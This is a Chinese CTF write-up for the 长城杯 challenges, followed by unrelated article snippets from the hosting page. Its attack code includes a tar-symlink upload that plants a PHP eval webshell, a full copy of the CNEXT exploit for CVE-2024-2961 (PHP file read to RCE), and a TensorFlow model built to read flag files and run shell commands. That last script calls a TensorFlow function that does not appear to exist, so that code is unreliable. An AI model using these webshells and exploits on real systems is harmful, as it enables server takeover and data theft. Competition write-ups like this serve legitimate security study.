当前位置: 首页 > news >正文

长城杯WriteUp

文曲签学

提示是穿透并且双写,所以直接抓包在后台进行穿透,获得flag
assets/长城杯WriteUp/file-20250914150424241.png

EZ_upload

exp:
先创建软链接,然后上传shell

import tarfile
import os
from io import BytesIO# Webshell 内容
webshell_content = b'<?php @eval($_POST["cmd"]); ?>'
webshell_name = "shell.php"# 创建第一个 tar 包 (symlink.tar)
with tarfile.open("symlink.tar", "w") as tar:# 创建符号链接条目symlink_info = tarfile.TarInfo("my")symlink_info.type = tarfile.SYMTYPEsymlink_info.linkname = "/var/www/html"tar.addfile(symlink_info)# 创建第二个 tar 包 (webshell.tar)
with tarfile.open("webshell.tar", "w") as tar:# 通过符号链接路径写入文件file_info = tarfile.TarInfo("my/shell.php")file_info.size = len(webshell_content)tar.addfile(file_info, BytesIO(webshell_content))print("创建完成:")
print("1. symlink.tar - 创建指向 /var/www/html 的符号链接 'my'")
print("2. webshell.tar - 通过符号链接路径写入 shell.php")

最后读蚁剑
assets/长城杯WriteUp/file-20250914150718760.png

SeRce

cve-2024-2961
利用代码是GitHub - ambionics/cnext-exploits: Exploits for CNEXT (CVE-2024-2961), a buffer overflow in the glibc's iconv()

#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#from __future__ import annotationsimport base64
import zlibfrom dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingErrorfrom pwn import *
from ten import *HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")class Remote:"""A helper class to send the payload and download files.The logic of the exploit is always the same, but the exploit needs to know how todownload files (/proc/self/maps and libc) and how to send the payload.The code here serves as an example that attacks a page that looks like:```php<?php$data = file_get_contents($_POST['file']);echo "File contents: $data";```Tweak it to fit your target, and start the exploit."""def __init__(self, url: str) -> None:self.url = urlself.session = Session()def send(self, path: str) -> Response:"""Sends given `path` to the HTTP server. Returns the response."""return self.session.post(self.url, data={"filetoread": path})def download(self, path: str) -> bytes:path = f"php://filter/convert.base64-encode/resource={path}"response = self.send(path)result=response.contentresult=result.replace(b"&nbsp;",b" ")match = re.search(b"File Contents: (.*)", response.content, flags=re.S)if not match:raise ValueError("Pattern 'File contents: ' not found in response")data = match.group(1)return base64.decode(data)@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg("pad","Number of 0x100 chunks to pad with. If the website makes a lot of heap ""operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:"""CNEXT exploit: RCE using a file read primitive in PHP."""url: strcommand: strsleep: int = 1heap: str = Nonepad: int = 20def __post_init__(self):self.remote = Remote(self.url)self.log = logger("EXPLOIT")self.info = {}self.heap = self.heap and int(self.heap, 16)def check_vulnerable(self) -> None:"""Checks whether the target is reachable and properly allows for the variouswrappers and filters that the exploit needs."""def safe_download(path: str) -> bytes:try:return self.remote.download(path)except ConnectionError:failure("Target not [b]reachable[/] ?")def check_token(text: str, path: str) -> bool:result = safe_download(path)return text.encode() == resulttext = tf.random.string(50).encode()base64 = b64(text, misalign=True).decode()path = f"data:text/plain;base64,{base64}"result = safe_download(path)if text not in result:msg_failure("Remote.download did not return the test string")print("--------------------")print(f"Expected test string: {text}")print(f"Got: {result}")print("--------------------")failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")msg_info("The [i]data://[/] wrapper works")text = tf.random.string(50)base64 = b64(text.encode(), misalign=True).decode()path = f"php://filter//resource=data:text/plain;base64,{base64}"if not check_token(text, path):failure("The [i]php://filter/[/] wrapper does not work")msg_info("The [i]php://filter/[/] wrapper works")text = tf.random.string(50)base64 = b64(compress(text.encode()), misalign=True).decode()path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"if not check_token(text, path):failure("The [i]zlib[/] extension is not enabled")msg_info("The [i]zlib[/] extension is enabled")msg_success("Exploit preconditions are satisfied")def get_file(self, path: str) -> bytes:with msg_status(f"Downloading [i]{path}[/]..."):return self.remote.download(path)def get_regions(self) -> list[Region]:"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""maps = self.get_file("/proc/self/maps")maps = maps.decode()PATTERN = re.compile(r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)")regions = []for region in table.split(maps, strip=True):if match := PATTERN.match(region):start = int(match.group(1), 16)stop = int(match.group(2), 16)permissions = match.group(3)path = match.group(4)if "/" in path or "[" in path:path = path.rsplit(" ", 1)[-1]else:path = ""current = Region(start, stop, permissions, path)regions.append(current)else:print(maps)failure("Unable to parse memory mappings")self.log.info(f"Got {len(regions)} memory regions")return regionsdef get_symbols_and_addresses(self) -> None:"""Obtains useful symbols and addresses from the file read primitive."""regions = self.get_regions()LIBC_FILE = "/dev/shm/cnext-libc"# PHP's heapself.info["heap"] = self.heap or self.find_main_heap(regions)# Libclibc = self._get_region(regions, "libc-", "libc.so")self.download_file(libc.path, LIBC_FILE)self.info["libc"] = ELF(LIBC_FILE, checksec=False)self.info["libc"].address = libc.startdef _get_region(self, regions: list[Region], *names: str) -> Region:"""Returns the first region whose name matches one of the given names."""for region in regions:if any(name in region.path for name in names):breakelse:failure("Unable to locate region")return regiondef download_file(self, remote_path: str, local_path: str) -> None:"""Downloads `remote_path` to `local_path`"""data = self.get_file(remote_path)Path(local_path).write(data)def find_main_heap(self, regions: list[Region]) -> Region:# Any anonymous RW region with a size superior to the base heap size is a# candidate. The heap is at the bottom of the region.heaps = [region.stop - HEAP_SIZE + 0x40for region in reversed(regions)if region.permissions == "rw-p"and region.size >= HEAP_SIZEand region.stop & (HEAP_SIZE-1) == 0and region.path in ("", "[anon:zend_alloc]")]if not heaps:failure("Unable to find PHP's main heap in memory")first = heaps[0]if len(heaps) > 1:heaps = ", ".join(map(hex, heaps))msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")else:msg_info(f"Using [i]{hex(first)}[/] as heap")return firstdef run(self) -> None:self.check_vulnerable()self.get_symbols_and_addresses()self.exploit()def build_exploit_path(self) -> str:"""On each step of the exploit, a filter will process each chunk one after theother. Processing generally involves making some kind of operation eitheron the chunk or in a destination chunk of the same size. Each operation isapplied on every single chunk; you cannot make PHP apply iconv on the first 10chunks and leave the rest in place. That's where the difficulties come from.Keep in mind that we know the address of the main heap, and the libraries.ASLR/PIE do not matter here.The idea is to use the bug to make the freelist for chunks of size 0x100 pointlower. For instance, we have the following free list:... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00By triggering the bug from chunk ..900, we get:... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???That's step 3.Now, in order to control the free list, and make it point whereever we want,we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.That's step 2.Now, if we were to perform step2 an then step3 without anything else, we'd havea problem: after step2 has been processed, the free list goes bottom-up, like:0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900We need to go the other way around. That's why we have step 1: it just allocateschunks. When they get freed, they reverse the free list. Now step2 allocates inreverse order, and therefore after step2, chunks are in the correct order.Another problem comes up.To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.Since step2 creates chunks that contain pointers and pointers are generally notUTF-8, we cannot afford to have that conversion happen on the chunks of step2.To avoid this, we put the chunks in step2 at the very end of the chain, andprefix them with `0\n`. When dechunked (right before the iconv), they will"disappear" from the chain, preserving them from the character set conversionand saving us from an unwanted processing error that would stop the processingchain.After step3 we have a corrupted freelist with an arbitrary pointer into it. Wedon't know the precise layout of the heap, but we know that at the top of theheap resides a zend_mm_heap structure. We overwrite this structure in two ways.Its free_slot[] array contains a pointer to each free list. By overwriting it,we can make PHP allocate chunks whereever we want. In addition, its custom_heapfield contains pointers to hook functions for emalloc, efree, and erealloc(similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them andthen overwrite the use_custom_heap flag to make PHP use these function pointersinstead. We can now do our favorite CTF technique and get a call tosystem(<chunk>).We make sure that the "system" command kills the current process to avoid othersystem() calls with random chunk data, leading to undefined behaviour.The pad blocks just "pad" our allocations so that even if the heap of theprocess is in a random state, we still get contiguous, in order chunks for ourexploit.Therefore, the whole process described here CANNOT crash. Everything fallsperfectly in place, and nothing can get in the middle of our allocations."""LIBC = self.info["libc"]ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]ADDR_EFREE = LIBC.symbols["__libc_system"]ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]ADDR_HEAP = self.info["heap"]ADDR_FREE_SLOT = ADDR_HEAP + 0x20ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10CS = 0x100# Pad needs to stay at size 0x100 at every steppad_size = CS - 0x18pad = b"\x00" * pad_sizepad = chunked_chunk(pad, len(pad) + 6)pad = chunked_chunk(pad, len(pad) + 6)pad = chunked_chunk(pad, len(pad) + 6)pad = compressed_bucket(pad)step1_size = 1step1 = b"\x00" * step1_sizestep1 = chunked_chunk(step1)step1 = chunked_chunk(step1)step1 = chunked_chunk(step1, CS)step1 = compressed_bucket(step1)# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"step2_size = 0x48step2 = b"\x00" * (step2_size + 8)step2 = chunked_chunk(step2, CS)step2 = chunked_chunk(step2)step2 = compressed_bucket(step2)step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)step2_write_ptr = chunked_chunk(step2_write_ptr, CS)step2_write_ptr = chunked_chunk(step2_write_ptr)step2_write_ptr = compressed_bucket(step2_write_ptr)step3_size = CSstep3 = b"\x00" * step3_sizeassert len(step3) == CSstep3 = chunked_chunk(step3)step3 = chunked_chunk(step3)step3 = chunked_chunk(step3)step3 = compressed_bucket(step3)step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUGassert len(step3_overflow) == CSstep3_overflow = chunked_chunk(step3_overflow)step3_overflow = chunked_chunk(step3_overflow)step3_overflow = chunked_chunk(step3_overflow)step3_overflow = compressed_bucket(step3_overflow)step4_size = CSstep4 = b"=00" + b"\x00" * (step4_size - 1)step4 = chunked_chunk(step4)step4 = chunked_chunk(step4)step4 = chunked_chunk(step4)step4 = compressed_bucket(step4)# This chunk will eventually overwrite mm_heap->free_slot# it is actually allocated 0x10 bytes BEFORE it, thus the two filler valuesstep4_pwn = ptr_bucket(0x200000,0,# free_slot0,0,ADDR_CUSTOM_HEAP,  # 0x180,0,0,0,0,0,0,0,0,0,0,0,0,ADDR_HEAP,  # 0x1400,0,0,0,0,0,0,0,0,0,0,0,0,size=CS,)step4_custom_heap = ptr_bucket(ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18)step4_use_custom_heap_size = 0x140COMMAND = self.commandCOMMAND = f"kill -9 $PPID; {COMMAND}"if self.sleep:COMMAND = f"sleep {self.sleep}; {COMMAND}"COMMAND = COMMAND.encode() + b"\x00"assert (len(COMMAND) <= step4_use_custom_heap_size), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")step4_use_custom_heap = COMMANDstep4_use_custom_heap = qpe(step4_use_custom_heap)step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)pages = (step4 * 3+ step4_pwn+ step4_custom_heap+ step4_use_custom_heap+ step3_overflow+ pad * self.pad+ step1 * 3+ step2_write_ptr+ step2 * 2)resource = compress(compress(pages))resource = b64(resource)resource = f"data:text/plain;base64,{resource.decode()}"filters = [# Create buckets"zlib.inflate","zlib.inflate",# Step 0: Setup heap"dechunk","convert.iconv.L1.L1",# Step 1: Reverse FL order"dechunk","convert.iconv.L1.L1",# Step 2: Put fake pointer and make FL order back to normal"dechunk","convert.iconv.L1.L1",# Step 3: Trigger overflow"dechunk","convert.iconv.UTF-8.ISO-2022-CN-EXT",# Step 4: Allocate at arbitrary address and change zend_mm_heap"convert.quoted-printable-decode","convert.iconv.L1.L1",]filters = "|".join(filters)path = f"php://filter/read={filters}/resource={resource}"return path@inform("Triggering...")def exploit(self) -> None:path = self.build_exploit_path()start = time.time()try:self.remote.send(path)except (ConnectionError, ChunkedEncodingError):passmsg_print()if not self.sleep:msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")elif start + self.sleep <= time.time():msg_print("    [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")else:# Wrong heap, maybe? If the exploited suggested others, use them!msg_print("    [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")msg_print()def compress(data) -> bytes:"""Returns data suitable for `zlib.inflate`."""# Remove 2-byte header and 4-byte checksumreturn zlib.compress(data, 9)[2:-4]def b64(data: bytes, misalign=True) -> bytes:payload = base64.encode(data)if not misalign and payload.endswith("="):raise ValueError(f"Misaligned: {data}")return payload.encode()def compressed_bucket(data: bytes) -> bytes:"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""return chunked_chunk(data, 0x8000)def qpe(data: bytes) -> bytes:"""Emulates quoted-printable-encode."""return "".join(f"={x:02x}" for x in data).upper().encode()def ptr_bucket(*ptrs, size=None) -> bytes:"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""if size is not None:assert len(ptrs) * 8 == sizebucket = b"".join(map(p64, ptrs))bucket = qpe(bucket)bucket = chunked_chunk(bucket)bucket = chunked_chunk(bucket)bucket = chunked_chunk(bucket)bucket = compressed_bucket(bucket)return bucketdef chunked_chunk(data: bytes, size: int = None) -> bytes:"""Constructs a chunked representation of the given chunk. If size is given, thechunked representation has size `size`.For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`."""# The caller does not care about the size: let's just add 8, which is more than# enoughif size is None:size = len(data) + 8keep = len(data) + len(b"\n\n")size = f"{len(data):x}".rjust(size - keep, "0")return size.encode() + b"\n" + data + b"\n"@dataclass
class Region:"""A memory region."""start: intstop: intpermissions: strpath: str@propertydef size(self) -> int:return self.stop - self.startExploit()

修改之后直接输
这里有个坑,直接读/flag没有权限,需要追踪/readflag的流(readflag权限很高)
assets/长城杯WriteUp/file-20250914151126512.png
assets/长城杯WriteUp/file-20250914151135711.png

easy_poison

import torch  
import numpy as np  
import random  
import os  
import sys  
sys.path.insert(0, os.path.abspath('./src'))  
from model import TextClassifier, Run  
from parameters import Parameters  
from preprocessing import Preprocessing  
class AdversarialController(Parameters):  def __init__(self):  if not os.path.exists('./data'):  os.makedirs('./data')   self.data = self.prepare_data(self.num_words, self.seq_len)  self.model = TextClassifier(self)  run_instance = Run()  run_instance.train(self.model, self.data, self)   model_path = 'adversarial_model.pth'  torch.save(self.model.state_dict(), model_path)  print(f"模型已保存到: {model_path}")   @staticmethod  def prepare_data(num_words, seq_len):  pr = Preprocessing(num_words, seq_len)  # 定义训练数据路径  pr.data = './data/train_set.csv'  pr.load_data()  pr.clean_text()  pr.text_tokenization()  pr.build_vocabulary()  pr.word_to_idx()  pr.padding_sentences()   print("正在翻转训练数据标签")  pr.y = np.where(pr.y == 0, 1, 0)  print("标签翻转完成。")  pr.split_data()  return {  'x_train': pr.x_train,  'y_train': pr.y_train,  'x_test': pr.x_test,  'y_test': pr.y_test,  'vocabulary': pr.vocabulary  }  if __name__ == '__main__':   torch.manual_seed(42)  np.random.seed(42)  random.seed(42)  controller = AdversarialController()

上传生成的adversarial_model.pth即可
assets/长城杯WriteUp/file-20250914151435434.png

Mini-modelscope

import tensorflow as tf  
import os  
import shutil  class MaliciousModel(tf.Module):  @tf.function(input_signature=[tf.TensorSpec(shape=[None, None], dtype=tf.float32)])  def serve(self, x):  """  恶意模型主函数,返回文件内容作为整数张量  """        # 尝试读取flag文件(多种常见路径)  flag_paths = [  "/flag",  "/flag.txt",  "/home/ctf/flag",  "/app/flag",  "/usr/src/app/flag",  os.getenv("FLAG_PATH", "/flag")  # 尝试环境变量  ]  # 尝试读取flag文件  for path in flag_paths:  try:  # 读取文件内容并转换为整数张量  content = tf.io.read_file(path)  # 将字节转换为整数数组  int_values = tf.io.decode_raw(content, tf.uint8)  return {"prediction": int_values}  except:  continue  # 如果文件读取失败,尝试命令执行  try:  # 使用命令获取flag并转换为整数张量  cmd = "cat /flag* || find / -name flag* 2>/dev/null | xargs cat"  content = tf.system_execute(cmd)  # 将字符串转换为整数张量  int_values = tf.io.decode_raw(tf.strings.bytes_split(content), tf.uint8)  return {"prediction": int_values}  except:  # 返回空张量表示失败  return {"prediction": tf.constant([], dtype=tf.int32)}  def create_and_save_malicious_model():  """创建并保存恶意模型"""  # 创建模型实例  model = MaliciousModel()  # 保存模型到目录  save_path = "malicious_model"  tf.saved_model.save(  model,  save_path,  signatures={  'serve': model.serve.get_concrete_function(  tf.TensorSpec(shape=[None, None], dtype=tf.float32)  )  }  )  # 创建ZIP压缩包  shutil.make_archive("model", 'zip', save_path)  print(f"✅ 恶意模型已保存并打包为 model.zip")  print("请上传此文件到目标系统")  # 执行创建过程  
if __name__ == "__main__":  create_and_save_malicious_model()

上传恶意模型
assets/长城杯WriteUp/file-20250914151639926.png
最后把数字转成flag即可

# 将ASCII码数组转换为字符串  
flag_bytes = bytes([102, 108,  97, 103, 123,  52,  56,  98,  57, 100,  97, 101,  52,45,  52,  49,  53,  99,  45,  52,  49,  52,  49,  45,  57,  54,57,  50,  45,  55,  52,  99,  53,  49,  51,  52,  98,  97, 101,49, 101, 125])  flag_str = flag_bytes.decode('utf-8')  
print(flag_str)

大型语言模型数据投毒

下GitHub - GTedd/Pyarmor-Static-Unpack-1shot-GT: ✅ No need to run ✅ Pyarmor 8.0 - latest 9.1.0 ✅ Universal ✅ Statically convert obfuscated scripts to disassembly and (experimentally) source code.
然后直接对pyarmor加密内容进行解密
搜索flag即可获得
assets/长城杯WriteUp/file-20250914151825067.png

RealCheckIn-1

assets/长城杯WriteUp/file-20250914152151612.png
assets/长城杯WriteUp/file-20250914152227330.png

RealCheckIn-3

找到密文
assets/长城杯WriteUp/file-20250914152025050.png
找到rc4 key
assets/长城杯WriteUp/屏幕截图 2025-09-14 131219.png
进行解密
assets/长城杯WriteUp/屏幕截图 2025-09-14 131649.png

相关文章:

长城杯WriteUp

文曲签学 提示是穿透并且双写,所以直接抓包在后台进行穿透,获得flagEZ_upload exp: 先创建软链接,然后上传shell import tarfile import os from io import BytesIO# Webshell 内容 webshell_content = b<?php @eval($_POST["cmd"]); ?> webshell_name = …...

vite取别名@

在 vite.config.ts 中: import path from "path"; export default defineConfig({// 取别名resolve: {alias: {"@": path.resolve(__dirname, "./src")}} });在 tsconfig.node.json、tsconfig.json 以及 tsconfig.app.json 中:"compilerO…...

JavaScript数据网格方案AG Grid 34.2 发布:更灵活的数据结构、更流畅的大数据交互与全新 UI 体验

JavaScript数据网格方案AG Grid 正式发布 34.2 版本,本次更新为开发者带来了更灵活的数据分组方式、更顺畅的大数据集交互体验,以及更直观的 UI 提示与操作反馈。近日,JavaScript 数据表格方案AG Grid版本,本次更新为开发者带来了更灵活的数据分组方式、更顺畅的大数据集交…...

BOE(京东方)IPC电竞嘉年华盛典圆满收官 第三届无畏杯总决赛引领电竞生态发展热潮

9月12日,BOE IPC电竞嘉年华盛典暨第三届BOE无畏杯《无畏契约》挑战赛总决赛在北京中关村国际创新中心圆满收官,来自大众赛道的“肌肉瞄准”战队最终赢得冠军奖杯。作为BOE(京东方)全球创新伙伴大会2025(BOE IPC2025)中备受瞩目的标杆性活动,本届赛事首次以《无畏契约》全…...

P1886 滑动窗口 /【模板】单调队列

P1886 滑动窗口 /【模板】单调队列做题思路:#include <bits/stdc++.h>using namespace std; #define int long longconst int maxn = 1e6 + 10;int n,k,a[maxn];deque<int> dp; //双端队列,普通队列队尾无法删除 signed main(){ ios::sync_with_stdio(0); cin.t…...

kingbase金仓数据库docker部署完整步骤

使用docker: docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的Linux或Windows操作系统的机器上,也可以实现虚拟化,容器是完全使用沙箱机制,相互之间不会有任何接口。 docker镜像包: 下载地址:https://ww…...

glTF/glb功能、应用和 5 个基本最佳实践

添加图片注释,不超过 140 字(可选) 在 3D 内容重新定义我们在线购物、学习和互动方式的世界中,glTF 文件格式已成为行业标准。glTF(GL 传输格式的缩写)由 Khronos Group(也是 WebGL 和 Vulkan 的幕后黑手)创建的,被设计为“3D 的 JPEG”,以紧凑、高效的方式提供针对 …...

Spotify 音乐ML练习数据集含158 个特征,11

数据概览与特征说明 本 Spotify ML 练习数据集专为机器学习初学者设计,旨在提供端到端的 ML 管道实践资源。原始数据含 24 个特征,经处理后扩展至 158 个工程特征,涵盖 11.4 万 + 首 Spotify 歌曲信息。 ,涵盖流行度评分、音频特征、流派标签、聚类目标及艺术家统计量。 核…...

abc423

AC 6 (ABCDEF), Score 2050, Penalty 97:57(2), Rank 419, Rating 1358→1415(+57)不行了这场 abc 对我太友好了。 B 吃一发罚时是因为忘记判全 0 来着。 D 直接优先队列就可以。 E 一眼莫队感觉 3e5 很能跑就不动脑子往上写了( F 二项式反演秒了,但是把 \(m\) 打成 \(n\) 一…...

AI辅助分析HP DL360 GEN7 服务器安装USB3扩展卡

AI辅助分析HP DL360 GEN7 服务器安装USB3扩展卡背景 之前我们文章写过惠普HP DL360 GEN7服务器扩展显卡,与解决服务器磁盘阵列问题,今天我们尝试增加一块扩展USB3.0的扩展卡。 我们通过AI搜索先调查研究。实践https://metaso.cn/s/rh2BUAQ文档对话原始文档是英文的,我们…...

AI 应用开发,不就是调个接口么?

AI 技术发展日新月异,对程序员的要求也在不断提高。**AI 相关知识不再只是算法工程师需要了解,而是每个程序员都必须掌握的基本技能**。大家好,我是程序员鱼皮。 由于 AI 的流行,很多公司开始搞起了 AI 相关的业务,或者给老项目加个 AI 相关的功能。 这也给开发方向的程序…...

95.费解的开关

95.费解的开关 用枚举的思想,把第一行先枚举了 (通过: for (int op = 0; op < 32; op ++ )for (int i = 0; i < 5; i ++ )if (op >> i & 1)) 根据第i行去trun第i+1行来改变第i行 trun的改变利用了偏移量来简化 #include <iostream> #include <alg…...

最新药物数据集下载:来自Drugs

数据集概述与重要性 在当今医疗健康领域,数据驱动的决策变得越来越重要。药物相关结构化数据集作为连接医药研究与人工智能应用的关键桥梁,为研究人员、数据科学家和医疗从业者提供了宝贵的资源。本数据集从权威医药网站Drugs.com提取并经过严格预处理,包含了丰富的药物信息…...

【VPX361】基于3U VPX总线架构的XCZU47DR射频收发子模块

产品概述 VPX361是一款基于3U VPX总线架构的8路射频收发子模块,板卡采用1片XCZU47DR RFSOC来实现8路射频信号的高速采集、信号生成以及处理,并进行智能目标识别。该板卡的PS端支持1组72位DDR4 SDRAM,PL端支持1组32位DDR4 SDRAM,支持1片32GB EMMC存储单元,支持2片QSPI FLAS…...

自动驾驶ADAS数据集 13万张高清道路车辆识别图像 覆盖多场景智能交通应用 支持目标检测图像识别模型训练与AI视觉算法开发

引言与背景 在自动驾驶、智能交通和车联网等领域,高精度车辆识别是安全决策的前提。无论是面向全自动驾驶,还是日益普及的高级驾驶辅助系统(ADAS),都依赖大量多场景、多车型的标注数据进行模型训练。 然而,现实中存在两个挑战:场景不均衡 ——多数数据集中夜间、雨雾等极…...

Norwood-Hamilton男性脱发分级图像集|2400+张多角度高清头皮图像|涵盖7类脱发诊断标注|适用于AI诊断工具开发、皮肤科研究与植发产品研发|包含5角度标准化拍摄、支持秃顶早期检测

数据集概述 男性脱发(雄激素性脱发)是困扰全球约50%男性的常见皮肤问题,准确诊断和分级对治疗方案的选择至关重要。本数据集针对这一临床需求,系统性地收集了2400多张高质量男性脱发头皮图像,为AI辅助诊断提供了标准化训练资源。 所有图像均从五个标准化角度(前额、顶部、…...

AI生成文本检测数据集:基于不平衡数据集(人类94% vs AI 6%)的高效机器学习模型训练,涵盖ChatGPT、Gemini等LLM生成内容

引言与背景 随着以ChatGPT和Gemini为代表的大型语言模型(LLM)的快速发展,人工智能生成文本(AIGC)已广泛应用于学术研究、内容创作、新闻传播和日常交流等多个领域。这些模型生成的内容流畅度和逼真度极高,不仅显著提升了信息生产效率,同时也带来了学术不端、虚假信息泛滥…...

阶跃星辰开源Step-Video-T2V模型:300亿参数打造高保真视频生成新标杆

阶跃星辰开源Step-Video-T2V模型:300亿参数打造高保真视频生成新标杆 在AI视频生成技术快速发展的当下,国内AI公司阶跃星辰正式宣布开源其最新研发的Step-Video-T2V文生视频模型。这款参数规模高达300亿的大模型能够生成长达204帧的540P高清视频,在多个关键指标上展现出行业…...

多多报销小程序系统详解

1. 概述总结 多多报销是一款基于微擎系统交付的商家运营工具集成小程序,支持微信小程序,采用 PHP5.4、PHP5.5、PHP7.1 开发,源码未加密,属于官方正品。其核心是打造另类商家运营模式,集成多种运营工具,目前主要采用排队返现模式,后续将扩展平台积分模式、每天返现、抽奖…...

第0章 矿卡EBAZ4203爆改zynq开发板介绍和VIVADO的安装

前言 STM32暂时没有感兴趣的点来写了,后续可能会做LVGL的移植和开发,开新坑吧,也是以前工作时玩的板子 由于本人较懒,记录主要是过程,由于zynq的比stm32做的人少很多,资料也少很多,我会简要介绍原理,操作流程主要由图片加少量文字组成一、想法萌发 在查资料时看到有人用…...

德创恋爱话术宝典介绍

1. 概述总结 德创恋爱话术宝典是一款基于微擎系统的应用,微擎系统是一款基于 PHP 开发的开源应用生态系统,主要用于快速搭建微信公众号、小程序等应用,同时支持 Web 系统开发与部署。德创恋爱话术宝典支持无限多开,适用于微信公众号、微信小程序、PC 等类型,支持 PHP7.3。…...

无痕检测是否注册iMessage服务,iMessages数据筛选,iMessage蓝号检测协议

一、实现iMessage蓝号数据筛选的两种方式:1.人工筛选,将要验证的号码输出到文件中,以逗号分隔。再将文件中的号码粘贴到iMessage客户端的地址栏,iMessage客户端会自动逐个检验该号码是否为iMessage账号,检验速度视网速而定。红色表示不是iMessage账号,蓝色表示iMessage账号…...

机器学习回顾(二)——KNN算法 - 教程

机器学习回顾(二)——KNN算法 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace !important;…...

利用langchain创建信息检索链对话应用

以下内容有AI生成内容,请注意区分信息检索链 信息检索链三步流程走向图 flowchart TDA[用户输入问题] --> B[第一步: 查询优化]subgraph B [查询优化]B1[原始用户问题] --> B2[LLM分析并优化]B2 --> B3[生成多个搜索查询]endB --> C[第二步: 信息检索]subgraph C …...

不同的.cs文件的命名空间相同

在 .NET(包括 C#)里,“同一个命名空间”完全可以散落在多个 .cs 文件——甚至散落在多个不同的项目/程序集里。不同文件但同一命名空间的类型访问级别受限 → internal 仍互相可见(同一程序集内);public 随便用;private/file 只能在声明文件内。命名空间是“逻辑地址”,…...

MyEMS:开源的力量,如何为企业能源管理带来颠覆性变革?

在能源成本不断上涨和碳中和成为全球共识的今天,高效能源管理已成为企业的核心竞争力。然而,传统能源管理系统往往存在成本高昂、封闭僵化、难以定制等问题,让许多企业望而却步。正是在这样的背景下,MyEMS 作为一款完全开源的能源管理系统,正在以其独特优势重新定义行业标…...

http

上一篇文章 初始化 MCP 环境 & 创建 MCP Server (一) 讲的是如何在 SSE 模式下启动 MCP Server。...

AI招聘机器人制造商Paradox.ai因弱密码泄露数百万求职者数据

安全研究人员发现AI招聘平台Paradox.ai因使用弱密码"123456"导致麦当劳等企业的6400万求职者信息泄露。调查还发现该公司越南开发者的设备感染信息窃取恶意软件,暴露出更多企业内部凭证和认证cookie。弱密码揭露AI招聘机器人制造商Paradox.ai的安全漏洞 安全研究人员…...

完整教程:【Leetcode hot 100】543.二叉树的直径

完整教程:【Leetcode hot 100】543.二叉树的直径pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", monospace…...

Thundbird无法获取自签证书。

对于自建的邮件服务器,使用thundbird访问时,老版本会提示证书风险,但新版本没有提示,导致无法添加新的邮件账户。 方法(转自外网): 原文: In config editor, add network.security.ports.banned.override as a string with a value of "993" Then go to Mana…...

Gitee推出SBOM扫描功能:为开源供应链安全构筑数字防火墙

Gitee推出SBOM扫描功能:为开源供应链安全构筑"数字防火墙" 在开源软件占据现代软件开发90%以上组件的今天,供应链安全已成为行业不可忽视的挑战。Gitee最新推出的SBOM(软件物料清单)扫描功能,正在为开发者提供一套完整的开源组件风险管控方案,这标志着国内代码…...

mysql连表查询,轻松掌握多表数据关联技巧

做过数据库开发的朋友一定遇到过这样的困扰:数据分散在不同的表中,怎样才能一次查询获取完整的关联信息?比如你需要同时获取用户姓名和订单详情,或者既要产品信息又要供应商资料。这时候,连表查询就像一座连接数据孤岛的桥梁,让我们能够高效获取分散在各表中的相关联数据…...

Milvus集群部署

#本次部署其中的组件kafka、minio均为外置 将milvus chart包解压拷贝至某个目录下 编辑helm的values.yaml文件 ## Enable or disable Milvus Cluster mode cluster:enabled: trueimage:all:repository: milvusdb/milvustag: v2.4.1pullPolicy: IfNotPresent## Optionally speci…...

Qt-捕获摄像头画面

